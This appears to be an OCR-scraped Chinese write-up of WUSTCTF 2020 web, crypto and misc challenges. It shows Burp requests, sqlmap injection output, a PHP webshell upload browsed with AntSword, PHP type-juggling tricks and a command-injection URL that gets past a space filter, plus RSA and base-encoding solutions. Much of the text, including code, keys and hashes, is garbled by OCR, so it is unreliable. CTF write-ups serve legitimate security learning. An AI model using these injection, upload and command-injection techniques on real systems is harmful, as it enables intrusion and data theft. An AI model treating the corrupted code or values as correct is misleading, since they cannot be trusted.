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Who's the author?

Name: I

https://blog.csdn.netiweixin_458E
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</form>
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I Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz - O >

Burp Project Intruder Repeater Window Help

[Dashboard [Target [Proxy (Intruder [Repeater (Sequencer [Decoder [Comparer [Extender [Project options (User options ‘

Intercept {H‘I‘I’P history {WebSockets history {Options ‘

f Request to http://101.200.53.102:12333

‘ Forward H Drop H Intercept is on H Action ‘ ‘ ‘W@

J/Raw {Params (Headers {Hex ‘
[POST / HTTP/1.1 =




Host: 1©1.200.53.102:12333

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64; rv:73.0) Gecko/20160181 Firefox/73.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Origin: http://161.200.53.102:12333

Connection: close

Referer: http://101.200.53.102:12333/

Cookie: PHPSESSID=stglj3kcis8be9129hq79dnae4

Upgrade-Insecure-Requests: 1

username=admin&password=admin

-

® ‘Type a search term

| 0 matches
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= e — "] root@kali: ~

File Actions Edit View Help
root@kali: ~ (x|

POST / HTTR/1.1

Host: 101.200.53.102:12333

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:73.8) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/%*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Origin: http://101.200.53.182:12333

Connection: close

Referer: http://101.200.53.102:12333/

Cookie: PHPSESSID=12q83asps2keSpb6edmnls2kké

Upgrade-Insecure-Requests: 1

username=admin&password=admilff
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i~# vi ctf.txt
:~# sqlmap -r ctf.txt —dbs

{

‘,f http: //sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume n
o liability and are not responsible for any misuse or damage caused by this program

[+] starting @ 23:09:46 /2020-03-29/

)] parsing HTTP request from 'ctf.txt'
)] testing connection to the target URL
)] testing if the target URL content is stable
)] target URL content is stahle
) testmg if POST parameter username is dynamic
POST parameter ‘'username' does not appear to be dyllallll(
5] heuristic (basic) test shows that POST panmeler nsername' might not be injectable

testing for SQL injection on POST parameter ‘username’
1] testing 'AND boolean-based blind - WHERE or HAVING clause’
)] testing 'Boolean-based blind - Parameter replace (original value)'
)] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
1] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
)] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
)] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
)] testing 'MySQL > 5.0 error-based - Parameter replace (FLOOR)'
)] testing 'MySQL inline queries'
)] testing 'PostgreSQL inline queries'
)] testing 'Microsoft SQL Server/Sybase inline gueries’
)] testing 'PostgreSQL > 8.1 stacked queries (comment)'
)] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
)] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
)] testing 'MySQL = 5.0.12 AND time-based blind (query SLEEP)'
POST parameter 'username' appears to be 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y¥/n] n
testmg 'Generic UNION query (NULL) - 1 to 20 columns'
[ 1 [ autnmaucauy extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
got a 302 redirect to 'http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php'. Do you want to follow? [Y¥/n] Il

Vil Aurl, KIVEAHip, FrAEBPHNRIS:—AE B AN X-Forwarded-For: 127.0.0.1

& G o © & 101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnn
© wusto] Bl ®#5roj [@] CSDN W FEAFMOOC v BEW & hiE BE HoFErs W RESEE Wbk s &%
WA pA BEAa)

GET /adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php HTTP/1.1

Host: 101.200.53.102:12333

User-Agent: Mozilla/5.© (Windows NT 1©.0; Winé4; x64; rv:73.0) Gecko/20100101 Firefox/73.8©
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=6.8,zh-TW;g=0.7,zh-HK;q=06.5,en-US;q=90.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=stglj3kcis8be9129hq79dnae4

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=©

X-Forwarded-For: 127.6.6.1

GETiKk, #ik?ais=520

&« X @ 101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php?ais=520
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@ Execution
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{r=sflagEEFRin v, WMutE{R Y : 4dz aste.ubuntu.com/p/ https://p Rqr cSf2
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ubuntu® pastebin

Paste from 52HeRtz at Tue, 17 Mar 2020 14:12:00 +0000

This paste expires on 2020-04-17.

Download as text

1 d2N0ZjIwMiBTbiB3X31vdV9orbiB3X3R0ZVIi¥ENpY18wzl 9zcWx EYWSkX2h0dHBY

Download as text

45 3 13X Btbase64 /@i Rl i)

baseZFiE

base16. base32. baset4

d2N0ZjIwMjBTbjB3X31vdV9rb jB3X3RoZVIiYXNDpY18wZ19zcWxfYWokX2h0dHBY

4H3  base64 FfFE utf(unicodef@h)
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L] Register Now

Password

Register Account
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exif_imagetype not image!
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<dn 1g="msg >
---------------------------- 16118208222929 /!
Zoment-Disposition: form-data; nama="upload_filz", filanama="2_gif" <dv id="im
Comtent-Type image/gif <mmng src="__fupload/ME2018110821 2048, gif” wadth="250px" > </div>
<fli» S
IF&E9a <fal>
<?php phpinfo(); 7= <fdi>
T — 18208222929
Zomtent-Disposition: form-data; name="submn” <fdn>
cdiv id="fonter" =
i - ccentai>Copyright&nbsp;@&nbsp; 2018 &nbsp;by&nbsp;<a
---------------------------- 16118208222929- hraf&="http: ffg? f > [
ke <div clags="mask"></div>
5 rlase="dislnn®s 2
(IS | | (o) | T omaches | | 2| <[+ ][> ] & matchas
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Burp Project Intruder Repeater Window Help
Dashboard ’/Targel ’/Proxy (Intruder (Repeater ’/Sequencer ’/Decoder ’/Comparer ’/Extender (iject options ’/User options

[1-]2- [
Send || Cancel |:H:| Target: http://101.200.53.102:12306 /@

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML (Render|

POST /profile.php HTTP/1.1 = filter: alpha(opacity=6); |

Host: 101.200.53.162:12306 I -moz-opacity: 0;

User-Agent: Mozilla/5.8 (Windows NT 16.8; Win64; x64; rv:73.8) Gecko/28100161 opacity: ©;

Firefox/73.0 left: opx;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 top: ©px;

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate </style>

Content-Type: multipart/form-data; boundary=s-------------------——-—-——- 2394803230672 <div class="page-content">

Content-Length: 282898 <divy

Origin: http://101.200.53.102:12306 <div class="profile-page">

Connection: close <div class="wrapper"s>

Referer: http://101.200.53.102:12306/profile.php <div class="page-header page-header-small" filter-color="green"> m

Cookie: PHPSESSID=stglj3kcis8be9129hq79dnae4; _Hz=aGFuQHFxLmNvbQ%3D%3D ’ <div class="page-header-image" data-parallax="true"

Upgrade-Insecure-Requests: 1 style="background-image: url('images/cc-bg-1.jpg’);"></div> 3
<div class="container"> -

—————— --2394803230672 <div class="content-center">

Content-Disposition: form-data; name="upload_file"; filename="2.php"| <div class="cc-profile-image"><a href="#"><img

Content-Type: image/jpeg src="uploads/3fb3e7aeb45129c579ec052b4ef52d4f . php" dmem——

alt="Image"/></a></div></br> <div class="divl" >

<form action="/prefile.php" method="post"
enctype="multipart/form-data">
<div class="div2" </div>
<input type="file" class="inputstyle" name="upload_file"/>
<input class="button" type="submit" name="submit" value="EE"
style="position: relative;left: 165px;top: -23px;" />

</form>
{ = </qiv></br> . . L
®‘ < H + H > ||Typeasearch term 0 matches ®‘ < H + H > HTypeaseamh term ‘ 0 matches
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Pt &
wORE UTF8 v
EgxL PHP v
(= default (T 4E%)
) random (A-H#5)
() base64 .
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@ FEws

AntSword #Bi§ #O il
¢« 5B (0 101.200.53.102

0 HRFl (20)
= r-_ ']

+ I var
app
bin
boot
dev
etc
home
lib
libe4
media
mnt
opt
proc

root

E RN P IR o P N W W W W W R W W N

< | DO HEdER (27)

O HE ~

il
=

3

M+~ LE TR

AT

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

var

.dockerenv
create_mysql_admin_user.sh
flag

readflag

run.sh
start-apache2.sh

start-mysgld.sh

Fik

& T8F

A HE ~

SP:t]

2014-04-10 22:12:14
2016-01-19 12:49:59
2020-03-30 04:41:10
2020-03-30 04:43:48
2020-03-30 04:41:46
2016-01-19 23:31:22
2016-01-19 12:49:59
2020-03-23 14:36:11
2020-03-30 07:04:13
2016-02-15 10:34:39
2016-02-15 10:35:01
2020-03-30 04:41:10
2016-02-15 10:34:07
2020-03-16 07:31:07
2020-03-16 07:31:12
2016-02-15 10:34:07
2016-02-15 10:34:07
2016-02-15 10:34:07

4 Kb
4 Kb
0b

4 Kb
4 Kb
4 Kb
4 Kb
0b

4 Kb
4 Kb
4 Kb
0b
1.1 Kb
48 b
16.23 Kb
549 b
67b
29b

=43
0755
0755
0555
0700
0755
0735
0755
0555
1777
0735
0755
0735
0755
0711
4735
0755
0755
0755
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@ HEmE

AntSword #Bi§ #O il

¢« 5B (0 101.200.53.102
[ 48 [flag

/flag
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@ HEmE
AntSword #Bi§ #O il
¢« 5B (0 101.200.53.102

[ &38: /readflag

Jreadflag

< BT

BE=

- B ARGRITH ~» BEE

1 ELFMMP“@HWMBH@mmhmhm

systemg
gmon start__l ITM reglsterTMCloneTable

FRATIF & im{d a7 4 Jreadflag $h47 0 1E15 #flag
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O

EARM2EA L, salmapt o, 4T Frobots txtEH KL 1 hox.php

& ¢ © # 101.200.53.102
@ wusto] Bl m=+#foj [« CSDN W FEAZEMOOC E5m FHrE &

i

User—-agent: *
Disallow: /fRke flagggg.php

BEREEH—Mifag

& ¢ © © # 101.200.53.102
@ wustoj Bl %=iF#foj [@ CSDN Wa sFEFZEMOOC -« E5W & HiE 82 S.2Ers N
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O Q=8 Daus DEdE NRs ()atesx Oue 0ns @5 § TESHS & MaxHackBar gl - X
W Vs URL I Q © m#' HIML CSS JS XHR ik B W& WS =i [I=aA% (I5AEF FORs HARS

W E E pdC3 BEETEL E= 1= Fh Cookie ## WY #Had HHEER
#& 101.20053.10 ke f1agggg.php document 270 =55 ;mer;lengtr; . ~
GET # 101.200.53.102:233... favicon.ico img html EE 143t () Content-Type: text/htm
7) Date: Mon, 30 Mar 2020 03:36:40 GMT
(2 Keep-Alive: timeout=5, max=100
look_at_me: /fl4g.php < m——
() Server: Apache/24.7 (Ubuntu)
®y oamR FUSHIGZT/O70F S 151 | DOMContentl oaded: 47 = load: 57 =% HePowerec By PHP/SS.9-Tubuntud. 14
=) N T — 2 P . . N N S
S EphpfUiY, i3, A=DE00, Fnum#E<2020, +1)5i85>2021, &, php, $528%, it #id
num=0x20195%3) 1
(&) [CEEA} © & 101.200.53.102:23333/fl4g php B e Iy Qumz E N
@wustoj Bl =#foj [QCSDN We EAZMOOC v EEW P HE B2 BorEag W R3ERE Wb Qs ©BFF @ ahub @ of TR [[JUEE W wustaf
{?php

header (' Content-type:text/html;charset=utf-8 ) ;
error_reporting(0) ;
highlight_file(_ file_);

level 1
if  (isset($_GET[ num' 1)) {
Snum = §_GET[ num 1;
if(intval ($num) < 2020 &% intval($Snum + 1) > 2021){
echo "IALEINE FAEEMT L, ARAGRE,  RREMAZER,  LREIERGE AR b7

}else{
die ("B EME A 155 NHIABT ")
}
}else{
die ("EAEMTE") ;
}

level 2

if  (isset($_GET['md5’ 1)) {
$md5=$_GET[ md5" 1;
if  ($md5==md5 ($md5))

echo "MFIXACTRer®Fflag/s, |Ruh%, MEARER, 8587, EEZLE,  ACKEATETAE B ECENE,  SEaiE, BN ST

else

} { die ("FRE WA A AL BT CANEE, MRS R TR

else

}

die("EARMIL) ;

get flag

if  (isset($_GET[ get_flag' 1)) {
Sget_flag = $_GET[ get_flag'l;
if(!strstr($get_flag,” “)){
$get_flag = str_ireplace(“cat”, “wctf2020”, S$get_flag);
echo “"HMIFXM, RAFMKE, HERAOPURELERZXAMMETLE DR b7,
system($get_flag):
telse{

1

Ad a7 A AEWMam Y -

die ("PREAEM )

Jelse{

2B ZRmdS I B JE AR S, phpi Rt it #ikOe Ja T 42 #7104 2410, Google®| T iX 1%, piaoifk—4>
md5=0e215962017



& PHPESRIRAMASEHERS [C X +

<« C 0 @ F==£| 0sec.com.cn/2018-04-26/

Howm Bt mE B @F W 5F O MonoCloud # yEES () github @ YouTube @Y Greasy Fork ctf
*",htmlspecialchars($md5),"" not the same as ",md5($md5);

BR, ENHEHEEREmdS()SNEMSO)EHET |, WEIIBER— 1 0eFFLRAFFRHR, X FRIEIIMDSEKIBE0eFLA7.
Python 27 :

7N
hﬁgm #1python2
NS import hashlib
import re
def MD5(data):
return hashlib.md5(data).hexdigest()

def main():
a = 100000000
while True:
data = '@e' + str(a)

data_md5 = MD5(data)

a=a+1
1. 1.M85HE if(re.match('~@e[0-9]{30}" ,data_md5)):
2. 2.HashbEsERRE(md55ed) print(data)
R avel print(data_mds)
2.2. Level 2 LGS
if(a % 1600008 == 0©):
2.3. Level 3 :
print(a)
2.4. Level 4 if __name_ == '_ main_ ':
3. JSONEESET main()

4. 4.strempSRid
1550215962017,

o —&: Istrstr.. [ Higet_flag A GE A 4%, B UE 1, Bgd, A <> ${IFS}, %0955 &% FAstr_ireplacelX &) m Al
get_flag HL 1 I catfill 2 i e fwetf2020, W ELET; A A systemd $itTget_flag B ar & iEH], FrLleHIsE— T H3t (R H
)

catfl il fr 2k AAE, HLlnnltacss



<« ¢ @

@ wusto] Bl =#Hoj [@ CSDN W FEFFMOOC -
1T \1sSetl\d_LELL num J)J){

Snum = $_GET[ num'];
if (intval (Snum) < 2020 &% intval (Snum + 1) > 2021){

echo "HAZLIANE FERMI L, ARLGR, ORGSR, ARENIERIT R IR /b
telse{

die ("EERAR AN T A NI A ) R
1
telse{
die (" ARMIL") ;
't

1f (1sset ($_GET[ mdd" 1)) {
$md5=$_GET[ md5’ ];
if  ($md5==md5 ($md5))

echo “MFIXACTFer# Flflaghi, [EMIHE, BIJARMSE, R -FET, OEMEHL  HOBHAETNE
else
die ("EREFEWCRRAIRN AL T AN RS, el SR R
telse{
die (" JARHIE")
}
get flag
if (isset($_GET[ get_flag’ 1)) {
$get_flag = §$_GET[ get_flag ];
if (!strstr($get_flag,” ")) {
$get_flag = str_ireplace(“cat”, “wctf2020”, S$get_flag);
echo “HIFIXH, AUMKE, AERAMUUREESEXAMFETTE, LA b7,

system($get_flag) ;
telse{

die ("B TY) ;
1
1

Jelsef
die (" ARMIL") ;
2
HAEREE r ERNELT, AREENE, REEAERE, IHRESIT SR,

BRI CTrer2Sflag/n, BHFTE, BMARER, —RET, EEPEHE SCUBRIETIEE
BRI, HFTME, BRANRREERER ALY, Bfbg

. B—FEERE BEEE IR

‘ © & 1.200.53.102:23333/fl4g.php?num=0x20198&md5=0e215962017&get flag="ls" ~ & == 1}‘ Q = fe]
CEEW P HiE B2 yErs ¥ RS=EE @ bugku agﬂmm @ ctfhub @ tfTE [JURE & wustctf

Bl FECE AW, BCEAIE, Bl by

v

404 html fAke flagggg.php flag.php AN

<« C @

@ wustoj [l T o) CSDN W sREAFMOOC +
iT \1SSeTid_GLELL num J)) 1

‘ © £ 3333/flag.php?num=0x2019&md5=0e2159620178&get_flag=nl%09flIIININIII ~ &

CEER P MR

$num = $_GET[ num’];
if(intval (Snum) < 2020 && intval Snum + 1) > 2021){
echo "HAREZENE FEMM I e, ARG,  FOEAURZEN,  RANEIGT R, b
Jelse{
die ("EERARYAS 95 AR AT () L7
1
I
telse{
die (" J:AEHIE") ;
t

if: (;;se:c ($_GET['md5" 1)) {
$md5=$_GET[ md5" ];
if  ($md5=md5 ($md5))

echo "HIFXACIFerEFiflagls, W%, KEARREE KL -FEF, EEEZEDE ACBmAEFAE
else
die ("JREF SR W PV AL, AT NS, e SRR TR
lelse{
die (" J:AEHIE")
}
get flag
if (isset($_CET[ get_flag 1)) {
$get_flag = $_GET[ get_flag 1;
if (Istrstr(Sget_flag,” ")) {
Sget_flag = str_ireplace("cat”, “wectf2020”, S$get flag);

echo "HMIFJIXH,
system($get_flag) ;

FAawsemm,  ARANPUREEUEIR A WANSER, B b7

telsef
die ("IREIAEH 77
}
telse{
die (" A" ;
2

FAEEEE FTERNE L, AREENE, RERAEER), LRIEREI BHART.

BEIXCTFer=Xflagfs, BHEIRT, BERRRE, H—ET, EEIPEL X BE0BmIEFNE, B EEAE MEEE,
BN, FFELTRE, B ARNRREASERANASITLE, B2

1 wetf2020{sTmple_php_1s_v3ry_e@sy and_here_1s_yOur_stupid_flag wish_u_h@ve_@_go0d_time_enj0y_1t}

Crypto
KEiz 5

e QUBANLVE S e LIty

d
|

BIZNER.

aaaag img.jpg index.php mboh‘

- fr] | Qs 2
B2 fiyers PWREzEE @buk &8 ©EFRF @ cfhub @ of TR [(JURE & wustctf

fo eI, BrEEI, SR b



Challenge 55 Solves

K=&
100

flag&sF wctf2020{Part1-Part2-Part3-Part4} &—Part&B 0]
HH-7SsIE, (ABEOx), FHA - 1k
Part1l=2020x2019x2018x ... x3x2x1 fYa18{iI

Part2 = 52071314 + 23337666 BJ818{\I

Part3 = FEZERMIBIVESR X, v, Z2EXHERNEI8AL

Partd = IWEI RIS, THRERF 1314

Flag Submit

BRI R

BN — M FREEL
2020 | |
#2fR: 5000

2020/9B3R A
386096951826724872377527755309254829575652833764136996704568
320001962744375418996245016343070140495922821200614629613676
056064037951380768693631095293969806083283419391122768593135
371533669789505644746708636245286071667761717496505605794126
236016354348784410240335472055757629538266448781423997420044
753128592681490931155652500393981945786030349664533711594345
568989302186320705026331591010701401806321162676014168267730
443127229747356930582741007966787455099581158386524638372751
639313267766129679555735375331455412649323831848690561911358
863665291691253184884758093169216097558804246779418405854622
335480512182276766264945125914275956103428084284556933827302
002697216249895052496440541172520541257873419634034161103824
199316296993063661010122247477806751684315159325496718242301
326410047304634788457407629483612153384782033983257542806498




117448100169850242485622135551834378243035590642352839055096
183047501262709727667023809372071930180723811416036636750921
242111077253225291490924545632327925057149716099795229733989

AT\ iz % 1633 11
2135 8l @ 10334 163345
38609695
SRR 223221437
2SR 10010011010010001100011111
16HEHISEER - 24d231f

59 R 1 S

520 241314+ 2333 A 666 =

6.7358675073930576996073993722567e+3568

paise siisl (o) 1084 16t

67358675

SIS : 400747723
21 ISR 100000000111100111111010011
16 HIESER : 403cfd3

HWRFEEMN, RRCERAWMxyz, 5l 7 TR, 2 Zm T

FERLIRET A2 IR XA3+Y 3+Z/3=42 2 ELKAEN?



534

s

i

HE BT ARRBIOT B —E A2, BBt R BT EN =SS

201992H, ThEBEEFTASFHEFHIELES hre(Andrew Booken) Bl 7 —1MEIX, RSHx"3 +
yA3 + A3 = KIKRR, ZE R TSR AN0MEREE, TS HaT/EEHE T 33MER:
(8,866,128,975,287,528)"3 + (-8,778,405,442,862,239)*3 + (-2,736,111,468,807,040)"3 = 33,

20195098, EEMEE T 27 A RAndrew SutherlandfIzEfh BBEHE/R A AIANdrew

BookerS{EiH T 7 —IUEKETENTE, e #8100/ N EES (B G, KTHE 7
42, (-80538738812075974) "3+80435758145817515"3+126021232973356313=42,

80538738812075974 + 80435758145817515 + 12602123297335631 =

173,576,620,255,229,120

17357662

2i355

8IS

2

16FHHIESER:

HARIY

il (o) 105 1653135

102155536
1000010001101101101011110

108db5e



22
2x dx + 36

(sqr(22) +36) x 1314 =

683,280

i sl (@) 1015 16335

683280

SR - 2466420
PSSR 10100110110100010000
16HHIEER a6d10

ERE

RSAGE, WAL—4H3L)\H, A4H2537F113, FAEH2537H1937, fifth Kiloveyou (B AI#AE“TE " EHVEHD

Premise: Enumerate the alphabet by 0. 1. 2. ... . 25
Using the RSA system
Encryption:0156 0821 1616 0041 0140 2130 1616 0793

Public Key:2537 and 13
Private Key:2537 and 937

flag: wctf2020{Decryption}

B@se



base64 [1175 fi

Challenge 37 Solves

Ba@se

534

do you know baseb4?
MyLkTaP3FaA7KOW|TmKkVjWijVzKjdeNvTnAjoH?iZOIvTeHbvD

IIIIIH!IHHIHHHIIIII

Flag Submit

FIRIAR TR R T DUAL, 432
joou 3, 4, HPIAE W

JASGBWCcQPRXEFLbCDIImnHUVKTYZdMovwipatNOefghq56rs****kxyz012789+/
oh holy shit, something is missing...\

HA-pythonjil
A%, 5t R 34T 2 o (1

for i in base

if i
index sl.find
flag s2[index

print(base64.b64decode(flag

IBATEHR

d2NOZjIwMjB7YmFzZTYOXzFzX3YzcnlfZUBzeV9hbmRfZnVOfQ

o

babyrsa



X ERSA
k = 28767758880940662779934612526152562406674613203406706867456395986985664083182

n = 73069886771625642807435783661014062604264768481735145873508846925735521695159
e = 65537

GitHub_I= "~ #RsaCtfTool, #E#inflef i kPEMHE T A 4H

(RsaCtfTool) z # ./RsaCtfTool.py —createpub -n 73069886771625642807435783661014062604264768481735145873508846925735521695159 -e 65537

MDwwDQY IKoZThvcNAQEBBQADKWAWKAT hAKGMFX5u+BM8LZ8Qgt2 15y 4Vbeg6FTmg
5n/egdUD+DW3AgMBAAE=
END PUBLIC KEY.

FRAR A A 5 i RPEMES ) FA ]

(RsaCtfTool) : # ./RsaCtfTool.py —publickey ./key.pub —private
BEGIN RSA PRIVATE KEY

MIGrAgEAAiEACYWXHM7 4EzwvPXCC3Y jnLhVvSDoVOarmf96B1QP4NbcCAWEAAQIE

RDc9w/Ij+ytcaAp+2EFpLMVEBq3xSjtOkFIPr5QOHt ECEQCOXKWHSF6FENj5xxea
+XaVAhEBInyb41KVTsIHXcz7pniEGWIRAIK3(QeV25gc0Ae9sglr1AYUCEQDV7 003
tXh@2nemXfLvIU4FAhASSE@@OsLFka/zTv5I+HQg

END RSA PRIVATE KEY

FHTE i ctf T ELAR 45
FEAET Hid

MIGrAgEAAiEAoYwXHmT4EzwvPxCC3Y jnLhVvSDoV0armf96B1QP4NbcCAWEAAQI s
RDcOw/T j+vtc4Ap+2EFpLMvEBq3xS jt0kF JPr5QOHtECEQCOXLWHSf6fEn jbxxea
+xaVAhEBInyb41KVTsIHYcz Tpni EGwIRAIE3QeV2hgc0Ae9sg 1 r 1AYUCEQDVT003
tXh02n0mXfLvOU4FAhASSEQ00sLFka/zTvhbItHQg

$hE
2%A3(n) _ I
7306988677162564280743578366101406260426476848173514587350884692
5735521605159
FAY
2HE)  gamar

*Ai a(d} AAOCAOTLCOCOA AANACSOAOCO0MAADINOEA COAOOOMNATTAACTASAMANASOAOCASAANMNAT TACH A



JUSIEG 1000 144AU00L40000Ud 3090 1004A000W 1 1'IUDITUILY LY0A00UV0TUVLIOD4D1 L

9486056472273

pythonfiiAx

binascii a2b_hex

C=28767758880940662779934612526152562406674613203406706867456395986985664083182

d=30854876581442056228588093398155288897790570329196285069001545119486056472273

N=73069886771625642807435783661014062604264768481735145873508846925735521695159
p)

M. RAENUK

WA EL N (IHA2H) M CHrafe) "nRHEH S5t Google— NELTH, SHIMMIFEI LML fhEl:. =
TEWL TS RIE, MR T RO (W 2 1

& C 0 A 7=%| hipcmoe.net/buddha.html

Howm P wEm B omE o8 = O MonoCloud W vEEE O github YouTube @ Greasy Fork ctf

&) oRbH# A @) MD5 SHAL AES BASE64  §5iE

PCMOE.NET

7 £9 % i€ #

FEVHERREAFEHRES SRR TERTFEEHE RS FEAF PSS FEaRTERTM
NI =] R B I N B NI = (2 e e B e = el i R e = = R S ey = 225l =]
MR B R AR S AN R B R B AN P S S H e AN DR EFHF A LR ER T B HmiE A
ERETEFEFEFEE RS S NE FENEE DR E rEmEEh EhAEL FEMEE R TS
EaEHES SR REA BRI NP REEENFRTE A EAHRTFEANFERESTEET
FREOHNTFH SO A EERTE A EHREENTFEF PN ER TS PSR EE R TSR A TERE
FELEREN A FEFERETEAEEAAERE PSR ABRETERHA TSN ERE TSN
EERAEREN AR AAEATEATEFEATERESHATEMEATETFE

k= EEAYERE | SERITSIER 1 =

HREl: BRI e R A R I B R S S A P ST 2 R 2 R R R AT
SRS S RN Sl A S R T O S R CR I N A I S R s I B R S A R ShE 0
IR R R E A B A A S e s B R S EE ) SRR S e E SRR R
RS I S N IR A A R R e e e R 2 T = e R 7
ST e S AT R P AN S B R e B R T = AL R TR B A RS A e sl
o B R R P A R N A R e R R R S R B e = A S
ORISR A B S O i S AR B = S B O BRI B I R B e = RPN
ERErEEE

TEZRctf T HLAfhS, R4 45 [ doyouknowfense nJ %l A& Mt 1 245

R ESRES
HETWRONEL: &8, BT Y0, M 5. FF AT wa 268, . 6 mE

RLIDQTOVPTQ606duws5CD6IB5B52CC570kCallUC3S040S0WG3LynarAVGRZSJRAEYEZ ooe_doyouknowfence



S E BAEA A MW SR A B A TR S At E S

N

IE P25 s P4 B PR R RS A IR E ks |-A.ff;'fl|ltﬁ/z}ll /\Il Hl'lv! m T u! mv! mv! f\lﬂ'

1A E B E R ATE L E B R A0 A SO RS B R SO AR SO B R B B R TR 2 R
- T E AT RS R PSRN E A S S A A A e lluIHWx Rl S H BTSRRI E A
"}Jlllllt\l f f\ll bR TS P G T 1 A B TS e R P A U E o % \l|})a,’:,’iiﬂ(‘“f
AR TR {14 v L [ R A IR R Ol A LS R PR AL ACE TR A RS [ B A A E SRR E A LA AL TSR n.wkfumh BN /Ao e

Ffgh i doyouknowfense 5 fE 2 fifhs,  BRH -2 24 K T doyouknowCaesarn] A& JLHUE 15

RLJDQTOVPTQ606duws5CDEIB5BO2CCHTokCallUC3S040S0WG3LynarAVGRZS JRAEYEZ _ooe_

BETHA © 0= =

R5UALCUVJDCGDG3RQISZTBOSO54JVBORP5SAT20EQCWYBCGEQS53Z67L doyouknowCaesar

W=EnE R ENNESE, fER, S28E. MEEEnm=om: EEBE—ENFHsmE1E, NEE
FAFESRENEN, BNBAS A FEERENE2.... BRITEN, B2, EREREN, Fi:

FELCIURIARAS CHILRIER o (R 4% 2 3Pl LA AR BILIHO

RHUALCUV JDCGDB3RQISZTBOS054 JVBORPSSAT20EQCWYBCGEOS3Z6TL

3 = mE R

OS5RXIZRSGAZDAB3ONFPWQYLPL54GSYLOMSPXQZLBNZTVEZDBL53WE7|

IEBRER OO I FERNESH AN SEIEIEE AR ERINEEE, SHRIEER, XE—MABNES, 26078
BTSN, MNER, R, TR URETRITT:

AR gmidbasefitiy, base64k, base32m1) T

Base324mf3f#rS



EeiRFSEE1.637T/H

PR I TS SN = S iR SS 32357+ 24/ Nad i 55, SATCER HIRAR,

niaoyun.com 17

05RXIZRSGAZDAG3ONFPWQYLPLOAGSYLOMBPXQZLBNZTVEZDBLO3WE 7T

&B [(FB ] B

wctf2020{ni_hao xiang xiang da wo}

=1

Misc

Space Club



FIIFSCAE A2t el AR B 1 22 4 U (R 25 1%

| space-1.txt - igE=E
STiEF) RE(E) ERO) B|E(V) FEIH)

Windows (CRLF) H|31347, /17

100%

Google— F# %] 7 —#UUTCTF 2019ffwriteup (FEC), #1%F—F)

UUTCTF 201955 InfoSect= X +
&« C O & medium.com/bugbountywriteup/uutcf-2019-writeups-6c11ea3f9d22

HowEm B wEm B mE % =& O MonoCloud M yEES () github @ YouTube @Y Greasy Fork ctf

FATAT LA AL B inl SR 1 xml S 1. 78 G T word H oA il 2 2 i i

SCtEdocument.xml, FATAT UG B LASSRA, DI S . AV LIR

PROT R B I R TNt R B, P AR A0 REFASCIIR P (. AT A4
InfoseciBE B Es, ARAEEEIU. ERXFEOLR, AR E A WA IR

fees

FRATE AL B R B SOR T RS 7, I SR I BRxm S o
fE.doex UM B M . AR IZ)n . F F IBk s il T S B Ak
TR R IRy AR S ] -

f = §TH (< ./word/document.xml”, « r*)

XF = fo HiE O

Y =
to_hex = [ '@'s 1%, '2', '3%, 4", '5', "6, '7', '8, '9', A, "B, 4 CM, “D7, “EY, YRV ]
A
EE - 8
Ae f13F:
MR = " EHR =1
MF c = ' HH space > 0:
§TEN (to_hex [ space ], end = ')
TE - e
] 3
EAGitHubFEE#Iscript.py BREs

AR copy— &, EARSURHE ORI, FFEAEFTN E—Ar GREE T, BEEARIERD , SWAT




for ¢ in text:

if c : space
if c space 0:

print(to_hex[space], end

space 0

IBATH R A6 AIC

6CCCH6CCLCHLCCH66CCHLLCLHLCH66CLCH6CCH66CLCH6L666CCH666666CC66CH66CLCE66666CCCCHLC6CCHL66666CCH6CCHLCLCLE6CH66CCE66CH6L6C6CCLLC
66CC666C6CCCH66CCHCHLCCLCCCHLLCLLCH6LH66CCH6666CCLCHL6CE6CCLH6CH6CH6CCLCCLCHLLCE6CLCH6CCHLLOH66CH6666666CC66CCCHLC6CCCCLCOHCCLH6LC
66CC666C6CCCLC6666C6CCCCLCHCLCLH6CCH6CLCH66CH6CCLLC6666C6CCLCCC6CLCLC66CC66CC666C6CCLCC6666CCLCLCCEC

